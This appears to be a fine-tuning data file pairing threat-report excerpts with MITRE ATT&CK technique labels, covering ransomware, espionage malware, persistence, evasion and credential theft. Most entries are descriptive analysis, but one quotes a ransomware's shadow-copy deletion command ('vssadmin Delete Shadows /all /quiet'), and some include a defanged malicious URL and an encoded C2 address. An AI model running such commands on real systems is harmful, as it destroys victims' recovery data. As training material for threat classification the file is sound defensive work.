"DEATHRANSOM creates an RSA-2048 public and private key pair. The shared secret is SHA256 hashed and used as the key to Salsa20 encrypt the RSA public and private keys. The RSA public key is used to encrypt the individual symmetric keys that are used to encrypt each file. A Base64 encoded version of the encrypted RSA keys and the victim’s Curve25519 public key is included in the ransom note, providing the threat actors the information needed to decrypt the victim's files. For the symmetric key, DEATHRANSOM calls RtlGenRandom to generate 32 random bytes. This is the 32 byte key used to AES encrypt each file. After the file is encrypted, the AES key is encrypted with the public RSA key and appended to the file. DEATHRANSOM lastly appends the four magic bytes of AB CD EF AB at the end of the encrypted file and uses this as a check to ensure that it does not encrypt an already encrypted file. The analyzed DEATHRANSOM sample used for comparison does not change the file extension",['T1486 - Data Encrypted for Impact'],fine_tune
"The final stage, however, is a dotnet application that takes several commands such as directory listing, screenshot, compress, upload, etc. It then creates random long string folder names in temp directories to host the collected files per category before compressing, encrypting and uploading to the C2 server",['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"In an uninhibited Emotet infection, it’s likely the malware would have then attempted to move laterally to other machines in the environment. Malwarebytes has some good analyses of Emotet if you’re looking for further reading",['T1210 - Exploitation of Remote Services'],fine_tune
"Another interesting artefact is that the script modifies the modification, access and creation (MAC) times of the local log file to match the times of a legitimate file – desktop.ini in that example, as shown in Figure 13",['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
infpub.dat appears to be capable of brute-forcing NTLM login credentials to Windows machines that have pseudo-random IP addresses,['T1110.003 - Brute Force: Password Spraying'],fine_tune
"The code of this module is loaded directly into the exploited application and has several methods of payload execution. One of method uses a very interesting technique of payload execution which is designed mostly to bypass modern anti-malware products. This uses an interesting bug in the Windows DDE component. It is not a secret that anti-malware systems trigger on special system functions that are called in the context of potential vulnerable applications to make a deeper analysis of API calls such as CreateProcess, WinExec or ShellExecute",['T1189 - Drive-by Compromise'],fine_tune
"Although tracking threats like Winnti involves old-fashioned investigative work, Microsoft Threat Intelligence analysts take advantage of machine learning to work at scale. When attackers used Winnti to maintain access to web servers, they hid the implant in plain sight by masquerading it as a trusted, legitimate file",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
The attackers are using a tool with name plainpwd in order to dump Windows credentials from memory. This tool is a slightly modified version of the open-source project mimikatz,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
"So attackers specify an external C&amp;C server in the command line and the tool connects to this server using HTTP. This remote server is used as a proxy by attackers: the connection that goes to this server is redirected to the internal network by the tool and any response that the tool gets from a computer in the internal network goes to the C&amp;C server. Thus, attackers can communicate with internal servers that are normally unreachable from the internet",['T1090 - Proxy'],fine_tune
"IronNetInjector is made of an IronPython script that contains a .NET injector and one or more payloads. The payloads can be also .NET assemblies (x86/64) or native PEs (x86/64). When an IronPython script is run, the .NET injector gets loaded, which in turn injects the payload(s) into its own or a remote process",['T1055 - Process Injection'],fine_tune
"Prior to executing fully, Karagany uses a robust anti-VM detection function that can detect most commonly used virtualization platforms such as VMWare, VirtualBox, VPC, and generic virtualization techniques. Only the VMWare and VirtualBox checks retained, mainly based on loaded drivers and file paths. This change dramatically reduced the file size of the malware",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"Next, the dropper checks its own parent process for indications that it is running in a sandbox setup. It calculates the MD5 hash of the lower-case process image name and terminates if one of the following conditions are met",['T1057 - Process Discovery'],fine_tune
"As with other versions of Winnti, the core component of the malware doesn’t natively provide the operators with distinct functionality⁸. This component is primarily designed to handle communications and the deployment of modules directly from the command-and-control servers. However, prior reporting⁹ suggests that the operators commonly deploy plugins for remote command execution, file exfiltration, and socks5 proxying on the infected host. We expect similar functionality to be leveraged via additional modules for Linux",['T1105 - Ingress Tool Transfer'],fine_tune
"In the third phase of the operation, the attackers harvested credentials stored on the compromised machines and performed lateral movement and infected new machines. The attackers also introduced a very rare and stealthy technique to communicate with their servers and exfiltrate data using Microsoft Outlook",['T1027 - Obfuscated Files or Information'],fine_tune
"The crypter mainly contains junk code to increase entropy of the sample and hide the actual code. We have found 2 crypter variants with some code differences, but mostly with the same logic applied",['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
"In this section, we describe how the various payloads are delivered based on what we have seen in our customer networks, as well as what we have established through open-source research. Unit 42 has yet to see any evidence of weaponized documents used to deliver BackConfig being attached on phishing emails and that phishing URL links in emails appear to be the Hangover group’s modus operandi",['T1566.002 - Phishing: Spearphishing Link'],fine_tune
The updated module is called tvncDLL and allows the threat actor to monitor the victim and collect information that would enable pivoting to valuable systems on the network,['T1021.005 - Remote Services:VNC'],fine_tune
The operators used the HyperBro Trojan as their last-stage in-memory remote administration tool (RAT). The timestamps for these modules are from December 2017 until January 2018. The anti-detection launcher and decompressor make extensive use of Metasploit’s shikata_ga_nai encoder as well as LZNT1 compression,['T1027 - Obfuscated Files or Information'],fine_tune
"For readers unaware of ngrok, this site is a simple reverse proxy used to let Internet-based users connect to servers located behind firewalls or on local machines that don't have a public IP address",['T1090 - Proxy'],fine_tune
"At this stage the malware disables the Windows screen saver, then changes both the desktop wallpaper and the lock screen images to a custom image. These are the pair of identical JPEG and BMP images presenting the logo of Iran’s Railways and the message similar to the one displayed on the platform boards of different railway stations in Iran",['T1491.001 - Defacement: Internal Defacement'],fine_tune
"Actors have downloaded POWERTRICK, Metasploit Meterpreter, and Cobalt Strike BEACON payloads following the initial compromise. BEACON payloads have commonly been executed after moving laterally to new hosts within the victim network. The attackers have employed Cobalt Strike payloads crafted to maintain persistence through reboot via a scheduled task on critical systems in victim environments. We have observed actors executing encoded PowerShell commands that ultimately executed instances of the PowerShell EMPIRE backdoor. In at least once case, attackers have maintained access to a victim environment using stolen credentials to access corporate VPN infrastructure configured to require only single-factor authentication",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"Initially the Cobalt group focused on jackpotting ATMs: they launched a program that sent commands directly to the dispenser to issue cash. Network penetration In all cases investigated by Group-IB, the Cobalt group used a set of spear phishing emails to gain initial access to the corporate infrastructure. However, some of the email addresses belong to employees that no longer work at the organization, which means that the Cobalt group likely uses out-of-date mailing lists. Each message contains an attachment that loads the payload – part of Cobalt Strike software – to the computer's operating memory. In order to make this download possible, attackers have tried several different formats of attachments and emails, as their primary task is to bypass mail filters, protection measures, and the company's security policy. 3 Example of a message with an executable attachment (.exe) The archive is password-protected in order to bypass anti-virus scans, security systems, and mail filters. However, when there is use of a security policy that prohibits the transfer of encrypted archives, such an email message may be blocked, so the attackers would send .doc files that contain exploits for Microsoft Office (fig. For organizations that perform timely updates of their systems and adhere to strict security policies, the Cobalt group employs another method to deliver malicious code through emails with Word documents containing a malicious macro. 6 Example of a message sent by attackers from a domain whose name is similar to the name of a real domain . As soon as the attachment is launched and the malicious code is executed, the Cobalt Strike payload is loaded in the memory. Provision of the malware survivability The Cobalt group uses different methods to ensure malware survivability on corporate networks",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"Both masscan and pnscan have been used before by TeamTNT actors. However, the addition of zgrab, a GoLang network scanner, marks the first time that a GoLang tool has been witnessed incorporated into TeamTNT’s TTPs. There was also an update to the masscan network scanner operation to include searching for TCP port 5555. This could indicate a new unknown target set for expanding TeamTNT cryptojacking operations. However, there is little evidence to support TeamTNT targeting Android devices",['T1046 - Network Service Discovery'],fine_tune
The attackers execute several Base64-encoded PowerShell commands in order to determine if the infected machine’s user is in the admin or domain admin group,['T1087.002 - Account Discovery: Domain Account'],fine_tune
"The “pc” binary checks whether the infected system’s OS is Debian or RHEL/CentOS. Its routine, which involves dropping the cryptocurrency miner and other components, depends on OS. For Debian-based systems, it drops the cryptocurrency miner payload to /tmp/miner2. For CentOS/RHEL systems, it will download a tar (tape archive) file from the URL, hxxp://pm[.]ipfswallet[.]tk/cos7[.]tar[.]gz, containing the cryptocurrency miner and its multiple components, which is unpacked and then installed",['T1082 - System Information Discovery'],fine_tune
"The injected payload is known as Cobalt Strike Beacon and can be used to execute commands, inject other processes, elevate current processes or impersonate other processes, and upload and download files. The Get-NetComputer command from PowerView is renamed by the attackers to a random name",['T1018 - Remote System Discovery'],fine_tune
"Once unpacked, the malware creates a copy of its own process with a suspended thread and injects the unpacked code into the new process before calling the ResumeThread API. Breaking on this function call in a debugger allows an analyst to dump the process and extract the unpacked Karagany binary for further analysis",['T1055.003 - Thread Execution Hijacking'],fine_tune
"After that, stage 2 payloads are still retrieved as Bitmap (BMP) images that use Least Significant Bit (LSB) Steganography to hide the real payloads. These images appear normal in image viewers",['T1001.002 - Data Obfuscation via Steganography'],fine_tune
"It also uses “ActiveXObject” utility to help in its execution through Microsoft products and internet browsers. The ActiveXObject object is used to create instances of OLE Automation objects in Internet Explorer on Windows operating systems. Several applications (Microsoft Office Word, Microsoft Office Excel, Windows Media Player, etc) provide OLE Automation objects to allow communication with them",['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],fine_tune
"h) It also uses “ActiveXObject” utility to help in its execution through Microsoft products and internet browsers. The ActiveXObject object is used to create instances of OLE Automation objects in Internet Explorer on Windows operating systems. Several applications (Microsoft Office Word, Microsoft Office Excel, Windows Media Player, etc) provide OLE Automation objects to allow communication with them",['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],fine_tune
"With the above done, the malware logs off all users and executes a small program — a “locker” — in a new thread. The path to the locker file named mssetup.exe is retrieved from the configuration. Finally, before moving to its main cause — wiping the system — the malware creates a scheduled task that assures its own persistence in the system. The scheduled task will be executed every time the system starts",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"Malware uses xor key [0x09, 0xff, 0x20] to decrypt content in .data section and get string “aHR0cDovLzUxLjE1LjE5Ni4zMC8xL2luZGV4LnBocA”. Then malware does base64 decoding to get the C2 address",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Activation of these hooks is done by Ebury injecting its dynamic library into every descendant processes of sshd. To inject itself into subprocesses, Ebury hooks execve and use the dynamic linker LD_PRELOAD variable. Every time a new process is created, Ebury adds LD_PRELOAD=&lt;Ebury_filename&gt; to its environment. Once the new process is executed, Ebury’s dynamic library is loaded and its constructor is called, executing the hooking routines",['T1574.006 - Hijack Execution Flow: LD_PRELOAD'],fine_tune
"One of the credential theft techniques identified by CrowdStrike was the use of a PowerShell script to execute Mimikatz in-memory. While in-memory Mimikatz is not particularly unique, the script executed by the threat actor was heavily obfuscated and encrypted the output using AES256. CrowdStrike was able to reconstruct the PowerShell script from the PowerShell Operational event log as the script’s execution was logged automatically due to the use of specific keywords. CrowdStrike recommends that organizations upgrade PowerShell on their systems, as this functionality is only available with PowerShell version 5 and above",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"Once the user enters the targeted website, the attacker is notified and can take over the device remotely. As the victim accesses their online banking account, the attacker can display full-screen overlay images (hence the name “remote overlay”) designed to appear like they are part of the bank’s website. These pages can either block the victim’s access to the site, allowing the attacker to move money after initial authentication, or include additional data fields that the user is prompted to fill out",['T1185 - Browser Session Hijacking'],fine_tune
"Each of these weaponized documents used the same tactic for their attacks. Upon opening the document, it leveraged the ability of Microsoft Word to retrieve a remote template to then load a malicious macro document as seen in Figure 4",['T1221 - Template Injection'],fine_tune
"Daserf also uses file and folder names related to legitimate programs often found in Windows environments in order to blend in. Observed folder names include HP, Intel, Adobe, and perflogs and folders are generally created in either the root drive or the Application Data or Program Files folders. File names used in recent attacks include adobe.exe, adobe_sl.exe, intel.exe, and intellog.exe",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Microsoft has been monitoring these attacks and notifying targeted customers for several months, but only recently reached a point in our investigation where we can attribute the activity to Strontium with high confidence. MSTIC’s investigation revealed that Strontium has evolved its tactics since the 2016 election to include new reconnaissance tools and new techniques to obfuscate their operations. In recent months, it has engaged in brute force attacks and password spray, two tactics that have likely allowed them to automate aspects of their operations. Strontium also disguised these credential harvesting attacks in new ways, running them through more than 1,000 constantly rotating IP addresses, many associated with the Tor anonymizing service. Strontium even evolved its infrastructure over time, adding and removing about 20 IPs per day to further mask its activity",['T1110.003 - Brute Force: Password Spraying'],fine_tune
"Apart from targeting Gmail users, Pawn Storm has also abused OAuth in credential phishing attacks against high profile Yahoo users. Here is an example from 2015 where “McAfee Email Protection” is offered",['T1528 - Steal Application Access Token'],fine_tune
"Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. Use malware to upload the large list of enumerated files to the C2 server. Select specific files to steal, creating a new list. Use downloaders or other malware to send the new list to a compromised host. Use archiving software to collect files in a password-protected archive. Use an uploader or other malware to send the archived files to an attacker-controlled server. The uploader software is proprietary to this group, but Datper and xxmm also contain an uploading feature. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity",['T1083 - File and Directory Discovery'],fine_tune
"an extra executable; - process hollowing shellcode; - a list of predefined executable names, which the malware uses as a future process name",['T1055.012 - Process Injection: Process Hollowing'],fine_tune
"ISMAgent prioritizes HTTP as its mechanism to communicate with the C2 server, but if it is unable to reach the C2 server it will switch to the DNS tunneling mechanism. To carry out its HTTP C2 communications, the Trojan prepends ""www. to the configured C2 domain and issues a DNS query to resolve this domain",['T1008 - Fallback Channels'],fine_tune
"Last week, Unit 42 released a blog on a newly named threat group called DarkHydrus that we observed targeting government entities in the Middle East. The attack that we discussed in our previous publication involved spear-phishing to deliver a PowerShell payload we call RogueRobin; however, we are aware of DarkHydrus carrying out a credential harvesting attack in June 2018. It also appears that this an ongoing campaign, as we have evidence of previous credential harvesting attempts using the same infrastructure dating back to the Fall of 2017. The credential harvesting attacks used spear-phishing emails that contained malicious Microsoft Office documents that leveraged the “attachedTemplate” technique to load a template from a remote server. When attempting to load this remote template, Microsoft Office will display an authentication dialog box to ask the user to provide login credentials. When entered, these credentials are then sent to the C2 server, which allows DarkHydrus to collect the user account credentials. Based on Unit 42’s analysis, DarkHydrus used the open-source Phishery tool to create two of the known Word documents used in these credential harvesting attacks. As discussed in our previous blog, this further strengthens DarkHydrus’ use of the open source for their attack tools. A phishing attack to steal credentials like this is not new: US-CERT warned of the same technique by a different threat group in 2017. Based on this, we can reasonably presume this group will continue to carry out attacks against these kinds of targets in the Middle East in the near-future",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
The instance of Warzone we trapped has the ability to bypass UAC on the latest version of Windows 10. In this blog we’re going to talk about the XLS used as the attack vector and the UAC bypass technique used,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
"Aside from security programs and other programs used daily that can be used to profile its targets, the DUBNIUM malware also checks for various program analysis tools including Pin and DynamoRIO. It also checks for a virtual machine environment. If some of these are detected, it quits its execution. Overall, the malware is very cautious and deterministic in running its main code",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
SMOKEDHAM communicates with its C2 server using HTTPS. The backdoor uses domain fronting to obfuscate its true C2 server. The fronted domain is configured by an earlier stage of execution and the actual domain is hard-coded in the backdoor. Mandiant observed the fronted domain lumiahelptipsmscdnqa.microsoft[.]com and hard-coded domain max-ghoster1.azureedge[.]net used for C2 server communication,['T1090.004 - Domain Fronting'],fine_tune
"The Leeson, Neoichor, and NumbIdea malware families typically use the Internet Explorer (IE) COM interface to connect and receive commands from hardcoded C2 servers",['T1559.001 - Component Object Model'],fine_tune
"To deliver the malware to the victim machines, the Rocke group exploits vulnerabilities in Apache Struts 2, Oracle WebLogic, and Adobe ColdFusion. For example, by exploiting Oracle WebLogic vulnerability CVE-2017-10271 in Linux shown in Figure 1, a compromised Linux victim machine downloads backdoor 0720.bin and opens a shell",['T1190 - Exploit Public-Facing Application'],fine_tune
This version includes the stealer features mentioned in the previous version and additionally Remote Administration Tool features such as file uploading/download and arbitrary command execution. An interesting element is that the malware looks for filenames created with the previous version of KONNI. This implies that the malware targeted the same people as the previous version and they are designed to work together,['T1083 - File and Directory Discovery'],fine_tune
"In the period between January and March 2017 the TeleBots attackers compromised a software company in Ukraine (not related to M.E. Doc), and, using VPN tunnels from there, gained access to the internal networks of several financial institutions",['T1133 - External Remote Services'],fine_tune
"The malware displays fake forms on top of the banking sites and intercepts credentials from the victims. It can also display a fake Windows Update whenever there is nefarious activity in the background, as seen in Figure 23",['T1056.002 - Input Capture: GUI Input Capture'],fine_tune
"Zlh.exe is a legitimate, signed Norman Safeground AS application, which is used to sideload a malicious nflogger.dll DLL.The encrypted ZeroT payload is usually named NO.2.mui. The sideloaded DLL does not always use the same vulnerable executable, but it is always similar in functionality. Usually the DLL is not packed, but we have observed instances compressed by UPX. This malicious DLL is usually obfuscated with the same junk code: dummy API calls inserted in between real instructions (Fig. 7). The same obfuscation can be found in multiple functions in ZeroT itself",['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
"TA505 has also recently used LOLbins and legitimate Windows OS processes to perform malicious activities and deliver a payload without being detected. As the entry point of an attack, it delivers a sophisticated email containing a malicious Excel or Word file. The group notably abuses Excel 4.0 macro — a particularly old macro likely used to evade typical macro detection",['T1204.002 - User Execution: Malicious File'],fine_tune
"During one investigation, APT32 was observed using a privilege escalation exploit (CVE-2016-7255) masquerading as a Windows hotfix. In another investigation, APT32 compromised the McAfee ePO infrastructure to distribute their malware as a software deployment task in which all systems pulled the payload from the ePO server using the proprietary SPIPE protocol. APT32 also used hidden or non-printing characters to help visually camouflage their malware on a system. For example, APT32 installed one backdoor as a persistent service with a legitimate service name that had a Unicode no-break space character appended to it. Another backdoor used an otherwise legitimate DLL filename padded with a non-printing OS command control code","['T1027 - Obfuscated Files or Information', 'T1036.004 - Masquerading: Masquerade Task or Service']",fine_tune
"The attackers also ran the nmap utility on the router VM and scanned ports on systems within the restricted segment of the enterprise network. On September 27, the attackers started removing all traces of their activity from the router, using the logrotate utility to set up automatic deletion of log files","['T1070.003 - Indicator Removal on Host: Clear Command History', 'T1046 - Network Service Discovery']",fine_tune
PipeMon is a modular backdoor where each module is a single DLL exporting a function called IntelLoader and is loaded using a reflective loading technique. Each module exhibits different functionalities that are shown in Table 2,['T1129 - Server Software Component'],fine_tune
"The next step after installing the malicious service would be to set up tunnels to access to the infected machine from remote hosts, for example using the following command",['T1090 - Proxy'],fine_tune
"Turla, also known as Snake, is an infamous espionage group recognized for its complex malware. To confound detection, its operators recently started using PowerShell scripts that provide direct, in-memory loading and execution of malware executables and libraries. This allows them to bypass detection that can trigger when a malicious executable is dropped on disk",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"Four files tested in 2014 are based on the open-source project, cryptcat. Analysis of these cryptcat binaries indicates that the actor continually modified them to decrease AV detection rates. One of these files was deployed in a TEMP.Veles target’s network. The compiled version with the least detections was later re-tested in 2017 and deployed less than a week later during TEMP.Veles activities in the target environment. TEMP.Veles’ lateral movement activities used a publicly-available PowerShell-based tool, WMImplant. On multiple dates in 2017, TEMP.Veles struggled to execute this utility on multiple victim systems, potentially due to AV detection. Four files tested in 2014 are based on the open-source project, cryptcat. Analysis of these cryptcat binaries indicates that the actor continually modified them to decrease AV detection rates. One of these files was deployed in a TEMP.Veles target’s network. On multiple dates in 2017, TEMP.Veles struggled to execute this utility on multiple victim systems, potentially due to AV detection",['T1027.005 - Indicator Removal from Tools'],fine_tune
The stage’s 0x102 resource is parsed and the files are dropped in either %ProgramFiles% or %AppData% in the randomly chosen folder. The creation times are changed to have the same values as kernel32.dll,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
"Central Command network, including computers both in the headquarters and in the combat zones.The threat involved into this incident is referred as Agent.btz. There is even a clash with another threat that is also detected as Agent.btz by another vendor – but that's a totally different threat with different functionality. When loaded, its exported function DllEntryPoint() will be called automatically. Once a removable disk is connected to a computer infected with Agent.btz, the active malware will detect a newly recognized drive. It will drop its copy on it and it will create autorun.inf file with an instruction to run that file. Agent.btz file is not packed. Thus, it’s not known what kind of code could have been injected into the browser process. Agent.btz locates this resource by looking for a marker 0xAA45F6F9 in its memory map.File wmcache.nldThe second spawned thread will wait for 10 seconds. The collected network details are also saved into the log file.File winview.ocxThe second spawned thread will log threat activity into the file %system32%\winview.ocx.This file is also encrypted with the same XOR mask. Note: an attempt to run a valid thumb.db file, which is an OLE-type container has no effect.Files thumb.dd and mssysmgr.ocxAgent.btz is capable to create a binary file thumb.dd on a newly connected drive",['T1091 - Replication Through Removable Media'],fine_tune
"The last retrieved module is a persistence module. If the victim appears valuable to the attackers, a GRIFFON implant installer is pushed to the victim’s workstation. This module stores another instance of the GRIFFON implant inside the registry to achieve persistence. Here is a PowerLinks-style method used by the attackers to achieve persistence and execute the GRIFFON implant at each user logon. The new GRIFFON implant is written to the hard drive before each execution, limiting the “file-less” aspect of this method",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Another interesting discovery was a tool that was used during attacks to make queries to Active Directory using LDAP. This tool is able to dump detailed information about computers and usernames listed in Active Directory, and is tailored for a specific victim’s domain","['T1018 - Remote System Discovery', 'T1087.002 - Account Discovery: Domain Account']",fine_tune
The attackers then created scheduled tasks that would launch the ransomware with names based on variants of Windows Update Security or Windows Update Security Patches,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"Mouse position: Darkhotel repeatedly checks for the position of the mouse cursor on the screen. If the cursor remains at the center of the desktop, it is unlikely that a real user is using the system. Because of this, most sandboxes periodically move the mouse cursor or perform some other type of interaction with the desktop",['T1497.002 - User Activity Based Checks'],fine_tune
"In what appears to be a first on the cyber-espionage scene, a nation-state-backed hacking group has used a Google Chrome extension to infect victims and steal passwords and cookies from their browsers","['T1176 - Browser Extensions', 'T1555.003 - Credentials from Password Stores: Credentials from Web Browsers']",fine_tune
"The Python/TeleBot malware uses exactly the same approach; the Python backdoor code is obfuscated and packed into a standalone executable using PyInstaller. In addition, the Python code is ROT13 encoded, AES encrypted, compressed using zlib library and then Base64 encoded",['T1027 - Obfuscated Files or Information'],fine_tune
But what really makes this backdoor interesting is the way in which it communicates with attackers in order to receive commands. Python/TeleBot abuses the Telegram Bot API from Telegram Messenger to communicate with the attackers. We have informed Telegram of this abuse of their communication platform,['T1102.002 - Bidirectional Communication'],fine_tune
"The shellcode loaded by the macro contains an encrypted DLL which is decrypted at runtime and then manually mapped into memory by the shellcode. After mapping the DLL, the shellcode jumps to the entry point of that DLL. The shellcode uses some kind of custom hashing method to resolve the APIs. We used hollows_hunter to dump the DLL and reconstruct the IAT once it is fully mapped into memory","['T1140 - Deobfuscate/Decode Files or Information', 'T1620 - Reflective Code Loading']",fine_tune
It imports the specified Active Directory database NTDS.dit and registry file SYSTEM and exports the found password hashes into RecordedTV_pdump.txt and user details in RecordedTV_users.csv,['T1003.003 - OS Credential Dumping: NTDS'],fine_tune
The malware accomplishes this through querying the netsvc group value data located in the svchost group registry key which is HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost,['T1012 - Query Registry'],fine_tune
"In most of the samples collected by the CTU research team, Sakula maintains persistence by setting the registry Run key (SOFTWARE\Microsoft\Windows\CurrentVersion\Run\) in either the HKLM or HKCU hive. Through 2013, registry persistence was set using standard Windows APIs. In the samples compiled in 2014, the adversary switched to adding the Run key by invoking cmd.exe",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Delete the shadow volumes with vssadmin (“vssadmin Delete Shadows /all /quiet”). - Resize the shadow storage for all units starting from C to H units’ letters (hardcoded letters) to avoid the shadow volumes being made again. Using bcedit program to disable the recovery options in the boot of the machine and set to ignore any failure in the boot warning the user,['T1490 - Inhibit System Recovery'],fine_tune
The plugin is a Mimikatz version compiled in the Second_Release_PowerShell configuration. This version can be loaded into the address space of a PowerShell process via reflective DLL loading as implemented in the Exfiltration module of PowerSploit,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
"It also has some basic anti-sandbox detection that tries to detect Virtual PC, Sandboxie, and VMware (example in Figure 6",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"When Xbash finds a destination has Hadoop, Redis or ActiveMQ running, it will also attempt to exploit the service for self-propagation. Three known vulnerabilities are targeted",['T1203 - Exploitation for Client Execution'],fine_tune
"RunningRat is a remote access Trojan (RAT) that operates with two DLLs. This DLL serves three main functions: killing antimalware, unpacking and executing the main RAT DLL, and obtaining persistence. The malware drops the Windows batch file dx.bat, which attempts to kill the task daumcleaner.exe; a Korean security program. The batch file then attempts to remove itself",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"A tool used by the adversary which wasn’t installed on the servers by default, was DSInternals. DSInternals is a PowerShell module that makes use of internal Active Directory features. The files and directories found on various systems of a victim match with DSInternals version 2.16.1. We have found traces that indicate DSInternals was executed and at which time, which match with the rest of the traces of the intrusion. We haven’t recovered traces of how the adversary used DSInternals, but considering the phase of the intrusion the adversary used the tool, it is likely they used it for either account discovery or privilege escalation, or both",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"From the attacks observed by Volexity, what is most notable is that Patchwork has pivoted its targeting and has launched attacks directly against US-based think tanks. Volexity has also found that, in addition to sending malware lures, the Patchwork threat actors are leveraging unique tracking links in their e-mails for the purpose of identifying which recipients opened their e-mail messages. This domain was not only used to send the phishing e-mails, but also to track which targets opened the e-mail. Within each of the HTML-formatted messages, an embedded image tag is used to beacon home to the attacker's domain, containing an unique identifier specific to the recipient. While the use of e-mail recipient tracking, a linked RTF document, and a final payload (QuasarRAT variant) remained the same, certain elements differed across campaigns observed. Exploitation and Malware Execution . Upon opening the above attachments, the recipient will be presented with a document that is a direct copy of a blog post or report released by the think tank organization being impersonated. Its called the ""packager trick"" because any file embedded in an RTF file using packager will be automatically dropped to the %tmp% folder (c:\Users\%username%\AppData\Local\Temp) when the RTF document is opened. Second, the threat actors exploit CVE-2017-8570 to achieve code execution via a malicious ""scriptlet"" file, or .sct file, which is also embedded in the malicious RTF document. The Patchwork threat actors also appear to have adopted a technique seen from other APT groups where they are now tracking the effectiveness of their campaigns by recording which recipients have opened the phishing message. Contact . Connect . This Website uses cookies, which are necessary to its functioning and required to achieve the purposes illustrated in our Cookie Policy",['T1566.002 - Phishing: Spearphishing Link'],fine_tune
"The malware launches another thread that scans for new drives attached to the system every three seconds. If a new drive is attached to the system and is not identified as a type CDROM drive, the malware begins the encryption process on the new drive. On new drives attached to the system, the malware may create the directory &lt;Drive_letter&gt;:\$RECYCLE and execute the following command",['T1120 - Peripheral Device Discovery'],fine_tune
"Shamoon enables the service RemoteRegistry, which allows a program to remotely modify the registry. It also disables remote user account control by enabling the registry key LocalAccountTokenFilterPolicy",['T1112 - Modify Registry'],fine_tune
"SUNSPOT appends an entry in the log file with the date and time of the backdoor attempt and waits for the MsBuild.exe process to exit before restoring the original source code and deleting the temporary InventoryManager.bk file. If the Orion solution build is successful, it is backdoored with SUNBURST",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"TA505 uses fast flux, a DNS technique used to mask botnets by quickly shifting among compromised hosts, which allows cybercriminals to delay or evade detection. The domains the group has been using to distribute payloads were usually resolved across a lot of IPs",['T1568.001 - Fast Flux DNS'],fine_tune
"In at least one instance of EnvyScout delivery, we observed further enumeration of the executing browser’s environment, wherein the user-agent was used to determine whether a Windows machine received an ISO payload. If the visitor arrived via iOS, they were redirected to external infrastructure",['T1082 - System Information Discovery'],fine_tune
"Based on our technical analysis, telemetry, and data from submissions, we can assert with high confidence that this is the work of the Hidden Cobra group. These initial findings appear to be the first stage of Operation GhostSecret. For more on the global aspect of this threat, see “Global Malware Campaign Pilfers Data from Critical Infrastructure of Entertainment, Finance, Health Care, and Other Industries",['T1573.001 - Symmetric Cryptography'],fine_tune
"Enumerate all CLRs loaded in the AD FS process Microsoft.IdentityServer.ServiceHost.exe - For each CLR, enumerate all running application domains and perform the following actions for each domain: Read the contents of the following encrypted FoggyWeb backdoor file into memory: C:\Windows\SystemResources\Windows.Data.TimeZones\pris\Windows.Data.TimeZones.zh-PH.pri Decrypt the encrypted FoggyWeb backdoor file using the Lightweight Encryption Algorithm (LEA). The LEA-128 key schedule uses the following hardcoded master key to generate the round keys: - Read the contents of the following encrypted FoggyWeb backdoor file into memory: C:\Windows\SystemResources\Windows.Data.TimeZones\pris\Windows.Data.TimeZones.zh-PH.pri - Decrypt the encrypted FoggyWeb backdoor file using the Lightweight Encryption Algorithm (LEA). The LEA-128 key schedule uses the following hardcoded master key to generate the round keys",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Interestingly, the ChChes samples we observed were digitally signed using a certificate originally used by HackingTeam and later part of the data leaked when they were themselves hacked. Wapack labs also observed a similar sample targeting Japan in November. It’s not clear why the attackers chose to use this certificate, as it was old, had been leaked online, and had already been revoked by the time they used it. Digital certificates are typically used because they afford an air of legitimacy, which this one definitely does not",['T1553.002 - Code Signing'],fine_tune
"That persistence is achieved by adding a new task in the task scheduler – it deploys the malicious sample after every minute, to ensure that it keeps running",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"To further confuse anti-malware solutions, the loader contains the entire unobfuscated code of a legitimate open source application called Blink (https://github.com/crosire/blink), which never gets executed",['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
The Calisto installation file is an unsigned DMG image under the guise of Intego’s security solution for Mac,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"The software installed on the compromised computer is of particular interest. Which programs are installed on the system. Which of them are executed automatically at each system start or user logon. Which programs are used by a particular user. If the attackers are interested, they are only one command away from these valuable data",['T1518 - Software Discovery'],fine_tune
The service-based DLL implant traverses to the /htdocs/ directory on the FTP server and looks for any files with the keywords,['T1083 - File and Directory Discovery'],fine_tune
